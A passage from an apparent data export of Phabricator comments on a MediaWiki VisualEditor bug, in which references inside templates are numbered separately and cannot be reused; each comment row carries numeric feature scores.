In that case, the main technical issue is exactly the same as CODE:  the ref is stuck in a transclusion rather than in the article being edited.  This has multiple effects, including impossible numbering and bad displays (because the transcluded doc gets its own <references /> list; see T114105 for a screenshot).  As I understand it, some of these problems will be solved here, and others may be fixed through other mechanisms, e.g., {T110909}.  But the bugs get merged here, because it's not possible to merge them to multiple related tasks.
"
556154,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Since T114105 was merged into this ticket, is there anything I could do to help solve this issue? ",,,1446421308,,PHID-USER-ddcrbue3iyorn42wkwbo,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,121,,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,15.0,5.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,15.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.95,"Since T114105 was merged into this ticket, is there anything I could do to help solve this issue? "
556153,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Just a friendly reminder, that while T114105 was merged into this ticket, it has nothing to do with it. Nothing to do with ref numbering or with ref accessibility from the re-use menu. Actually, it's more about how VE displays templates as such, not how it handles references. See the attached screenshot to see what I'm talking about.

But since it was merged here, is there anything I could do to help solve this issue? ",,,1446421206,,PHID-USER-ddcrbue3iyorn42wkwbo,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,121,,0.0,1.0,0.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,8.0,18.0,3.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,3.0,10.0,6.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,18.0,2.0,1.0,0.0,0.0,8.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,0.0,3.8666666666666667,0.7111111111111111,"Just a friendly reminder, that while T114105 was merged into this ticket, it has nothing to do with it. Nothing to do with ref numbering or with ref accessibility from the re-use menu. Actually, it's more about how VE displays templates as such, not how it handles references. See the attached screenshot to see what I'm talking about.

But since it was merged here, is there anything I could do to help solve this issue? "
556151,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Just a friendly reminder, that while T114105 was merged into this ticket, it has nothing to do with it. Nothing to do with ref numbering or with ref accessibility from the re-use menu. Actually, it's more about how VE displays templates as such, not how it handles references. 

But since it was merged here, is there anything I could do to help solve this issue? ",,,1446420835,,PHID-USER-ddcrbue3iyorn42wkwbo,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,121,,0.0,1.0,0.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,18.0,4.0,4.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,9.0,6.0,3.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,18.0,3.0,1.0,0.0,0.0,8.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,3.8333333333333335,0.7307692307692307,"Just a friendly reminder, that while T114105 was merged into this ticket, it has nothing to do with it. Nothing to do with ref numbering or with ref accessibility from the re-use menu. Actually, it's more about how VE displays templates as such, not how it handles references. 

But since it was merged here, is there anything I could do to help solve this issue? "
516775,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",This information is already shown in context and the reference list. If we change the numbering that will probably be more confusing.,,,1440781886,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,112,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,8.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.666666666666667,0.9166666666666666,This information is already shown in context and the reference list. If we change the numbering that will probably be more confusing.
516762,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","As a stop-gap measure, is it feasible to have the footnotes that are contained in templates (and therefore not ""in"" the document) be displayed differently?  You would get the usual [1] for whatever is the first footnote in the article body, but the first one in an infobox would be marked as [X] or [Template 1] or something that doesn't match the typical ones. ",,,1440781461,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,112,,0.0,1.0,0.0,4.0,2.0,6.0,1.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,13.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,11.0,6.0,5.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,2.0,10.0,0.0,1.0,2.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,6.0,3.6341463414634148,0.7317073170731707,"As a stop-gap measure, is it feasible to have the footnotes that are contained in templates (and therefore not ""in"" the document) be displayed differently?  You would get the usual [1] for whatever is the first footnote in the article body, but the first one in an infobox would be marked as [X] or [Template 1] or something that doesn't match the typical ones. "
454943,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","In the weekly triage meeting on 2015-05-06, we discussed this task. Though we acknowledge that this is moderately confusing for users, fixing this is a very large piece of work (which reflects why it has not been completed in the past two years either). I've marked this as blocked by a piece of work that we hope to finish out this quarter, which will hopefully help make this slightly less epic to fix.",,,1430945384,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,96,,0.0,0.0,1.0,1.0,1.0,6.0,2.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,0.0,5.0,0.0,9.0,15.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,2.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,12.0,2.0,5.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,5.0,3.0,3.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,5.0,2.0,0.0,1.0,1.0,0.0,0.0,3.86046511627907,0.7558139534883721,"In the weekly triage meeting on 2015-05-06, we discussed this task. Though we acknowledge that this is moderately confusing for users, fixing this is a very large piece of work (which reflects why it has not been completed in the past two years either). I've marked this as blocked by a piece of work that we hope to finish out this quarter, which will hopefully help make this slightly less epic to fix."
450272,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","See [[https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Citation_numbers_messing_up | en-Wiki feedback ""Citation numbers messing up""]]. This problem is repeatedly mentioned on en-Wiki, confuses editors and hinders editing of developed articles with complex reference structures. I would like to propose the whole issue with ""references in templates"" and ""references generated by templates"" as blocker. I am aware, that 5 other tasks are possible related to this problem (See also), maybe the whole topic area needs another fresh look for a solution. - the problem is known for almost 2 years now, and should get a higher priority and more frequent updates on its status.",,,1430229351,,PHID-USER-cbmsqiuerftutmt523wv,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,95,,0.0,0.0,0.0,1.5,0.0,8.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,1.5,0.0,5.0,9.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,4.5,2.0,1.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,15.5,0.0,1.5,0.0,1.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,3.0,5.0,1.0,2.5,6.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,2.0,9.0,1.5,0.0,3.5,0.0,2.0,0.0,0.0,1.5,0.0,0.5,1.5,0.0,1.0,4.0983606557377055,0.8114754098360655,"See [[URL | en-Wiki feedback ""Citation numbers messing up""]]. This problem is repeatedly mentioned on en-Wiki, confuses editors and hinders editing of developed articles with complex reference structures. I would like to propose the whole issue with ""references in templates"" and ""references generated by templates"" as blocker. I am aware, that 5 other tasks are possible related to this problem (See also), maybe the whole topic area needs another fresh look for a solution. - the problem is known for almost 2 years now, and should get a higher priority and more frequent updates on its status."
399306,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","It doesn't seem to have been mentioned above that this bug can cause the loss of a citation, which might affect the severity or priority.  If you have a ref inside a group note (e.g. inside a tag) and delete all other copies of the ref, including the base copy, VE is unable to transfer the base text to the copy of the ref in the tag, so the citation is lost.",,,1421203877,,PHID-USER-ufjbf3qatjamiwoal5fp,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,80,,1.0,0.0,0.0,2.0,1.0,2.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,5.0,1.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,4.0,2.0,4.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,15.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,3.524390243902439,0.6585365853658537,"It doesn't seem to have been mentioned above that this bug can cause the loss of a citation, which might affect the severity or priority.  If you have a ref inside a group note (e.g. inside a tag) and delete all other copies of the ref, including the base copy, VE is unable to transfer the base text to the copy of the ref in the tag, so the citation is lost."
392866,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","Notes for testing the future fix: 

- The references placed in the Infobox template should be numbered correctly along with the other page references
- There should be no discrepancy in displaying reference numbering in Read mode or VE mode
- also, check reference for class=""toccolours"" - the warning msg should be displayed: ""This reference is defined in a template or other generated block, and for now can only be edited in source mode.""
",,,1419470550,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,77,,0.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,1.0,0.0,1.0,5.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,6.0,8.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,4.313953488372093,0.6395348837209303,"Notes for testing the future fix: 

- The references placed in the Infobox template should be numbered correctly along with the other page references
- There should be no discrepancy in displaying reference numbering in Read mode or VE mode
- also, check reference for class=""toccolours"" - the warning msg should be displayed: ""This reference is defined in a template or other generated block, and for now can only be edited in source mode.""
"
241574,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 69373 has been marked as a duplicate of this bug. ***,,,1407719768,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,58,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 69373 has been marked as a duplicate of this bug. ***
241570,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 52742 has been marked as a duplicate of this bug. ***,,,1402332002,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52742 has been marked as a duplicate of this bug. ***
241567,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 63210 has been marked as a duplicate of this bug. ***,,,1401416868,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 63210 has been marked as a duplicate of this bug. ***
241563,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 51058 has been marked as a duplicate of this bug. ***,,,1385381556,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51058 has been marked as a duplicate of this bug. ***
241559,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 53777 has been marked as a duplicate of this bug. ***,,,1383003781,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53777 has been marked as a duplicate of this bug. ***
241554,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","**kwwilliams** wrote:

(In reply to comment #25)
> (In reply to comment #23)
> > There's no way to code a single template that generates both a reference and
> > table markup without using {{#tag:ref}}. 
> 
> True. This should have given you pause to consider /why/ it wasn't available
> until recently. :-)

Laughing while you dismiss my comments adds a layer of rudeness to the discussion that is completely unnecessary.",,,1377843814,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,17.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,10.0,10.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6875,0.6875,"**kwwilliams** wrote:

(In reply to comment #25)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Laughing while you dismiss my comments adds a layer of rudeness to the discussion that is completely unnecessary."
241547,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.",*** Bug 53486 has been marked as a duplicate of this bug. ***,,,1377823296,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53486 has been marked as a duplicate of this bug. ***
241542,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","(In reply to comment #23)
> There's no way to code a single template that generates both a reference and
> table markup without using {{#tag:ref}}. 

True. This should have given you pause to consider /why/ it wasn't available until recently. :-)

> If you didn't think ""any reference created by a template shouldn't work,
> deliberately"" would be read as a refusal to fix that particular aspect of
> this bug, I have no idea what you intended it to mean.

Translation: When we made MW's citation system, the intent right from the start was to never, ever let people create nested references, or references that need to be parsed multiple times, because it creates endless issues.

Unfortunately, when later the {{#tag:xxx}} system was created, the person implementing that didn't remember this issue and instead has indeed given rise to all manner of epic problems.

> I also don't see that this bugzilla specifically addresses the ability for
> the names and contents of template generated references to be available to an
> editor that is using the ""add reference"" dialog.

That would be the ""don't show up as references to insert"" part of the title. :-)",,,1377823070,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,8,,0.5,0.0,0.0,1.0,2.0,4.0,1.5,0.5,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.5,0.5,7.5,8.0,0.0,2.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.5,2.5,2.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,15.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,3.5,3.0,9.0,2.0,1.0,5.5,0.0,1.0,0.0,1.0,5.0,0.5,0.5,0.0,2.0,8.0,3.0,0.0,1.5,0.0,2.0,0.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,3.824864864864865,0.7583783783783784,"(In reply to comment #23)
QUOTE
QUOTE

True. This should have given you pause to consider /why/ it wasn't available until recently. :-)

QUOTE
QUOTE
QUOTE

Translation: When we made MW's citation system, the intent right from the start was to never, ever let people create nested references, or references that need to be parsed multiple times, because it creates endless issues.

Unfortunately, when later the {{#tag:xxx}} system was created, the person implementing that didn't remember this issue and instead has indeed given rise to all manner of epic problems.

QUOTE
QUOTE
QUOTE

That would be the ""don't show up as references to insert"" part of the title. :-)"
241534,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","We might actually be able to use the same CSS technique I developed for auto-numbered external links in bug 53505 for citations. That would at least fix the numbering without extra effort, but won't help with <references> rendering and editing.",,,1377822959,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,4.270833333333333,0.9375,"We might actually be able to use the same CSS technique I developed for auto-numbered external links in bug 53505 for citations. That would at least fix the numbering without extra effort, but won't help with <references> rendering and editing."
241527,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","**kwwilliams** wrote:

There's no way to code a single template that generates both a reference and table markup without using {{#tag:ref}}. 

If you didn't think ""any reference created by a template shouldn't work, deliberately"" would be read as a refusal to fix that particular aspect of this bug, I have no idea what you intended it to mean.

I also don't see that this bugzilla specifically addresses the ability for the names and contents of template generated references to be available to an editor that is using the ""add reference"" dialog.",,,1377822665,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,False,,,8,,0.5,0.0,0.0,0.5,2.0,2.0,1.0,0.0,0.0,0.5,1.5,2.0,0.0,0.0,0.5,1.5,0.0,4.0,9.5,0.0,3.0,0.5,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.5,0.0,4.5,2.0,1.0,1.5,1.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,1.0,0.0,1.0,0.0,1.5,1.0,15.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,1.5,0.0,5.5,2.0,2.5,1.5,2.0,10.0,0.0,0.0,0.0,0.5,6.0,0.0,0.0,0.0,4.0,9.5,0.5,0.0,2.5,0.0,4.0,0.0,2.0,3.0,0.0,1.5,0.0,0.0,0.0,3.8600282485875708,0.7816384180790961,"**kwwilliams** wrote:

There's no way to code a single template that generates both a reference and table markup without using {{#tag:ref}}. 

If you didn't think ""any reference created by a template shouldn't work, deliberately"" would be read as a refusal to fix that particular aspect of this bug, I have no idea what you intended it to mean.

I also don't see that this bugzilla specifically addresses the ability for the names and contents of template generated references to be available to an editor that is using the ""add reference"" dialog."
241519,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","(In reply to comment #21)
> Describing a widely used template as a ""hack"" and refusing to fix the bugs
> associated with VE in terms of editing it is not a valid solution.

Who said I was refusing to fix it?

> The template does work and the references work fine using the normal editor.
> There's no way to code the template to not include the #ref.

<ref>{{foo}}</ref> works just fine, because that's how it was designed to be used. If you want an easier way to edit, use VE. ;-)

> It is not within the scope of the VE project to refuse to fix problems
> because they are hard.

This is off-topic, but actually, it is very much part of Wikimedia's job to make decisions about whether it is worth spending large amounts of donor funds on marginal use cases rather than features that can't be done in other ways.

> I strongly, strongly object to the implication in the addition to 52478 that
> implies that this bug in VE will never be fixed.

There is no such implication; there is clearly the inference in your reading of it, however. We will fix this bug - the comment just explains the priority of this bug in relation to others.",,,1377821853,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n26jfot72gcfg6mgq6wx,task_subcomment,,True,c1,3,True,,,8,,0.5,0.0,0.5,1.5,0.5,5.0,1.5,0.5,0.0,0.5,3.0,0.5,0.0,0.0,1.5,1.0,0.0,5.0,12.5,0.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,5.5,0.0,3.0,3.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,3.0,0.0,1.0,0.0,0.5,0.0,14.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,2.5,5.0,9.0,2.0,0.5,5.5,0.0,0.5,0.0,0.5,4.0,0.0,0.5,0.0,5.0,12.5,1.5,0.5,0.0,0.0,5.0,0.0,1.5,0.5,0.0,1.0,0.5,0.0,1.0,3.6095571095571097,0.7486679986679987,"(In reply to comment #21)
QUOTE
QUOTE

Who said I was refusing to fix it?

QUOTE
QUOTE

<ref>{{foo}}</ref> works just fine, because that's how it was designed to be used. If you want an easier way to edit, use VE. ;-)

QUOTE
QUOTE

This is off-topic, but actually, it is very much part of Wikimedia's job to make decisions about whether it is worth spending large amounts of donor funds on marginal use cases rather than features that can't be done in other ways.

QUOTE
QUOTE

There is no such implication; there is clearly the inference in your reading of it, however. We will fix this bug - the comment just explains the priority of this bug in relation to others."
241508,"In VisualEditor, references in templates cannot be reused and are numbered separately from references in the text.","**kwwilliams** wrote:

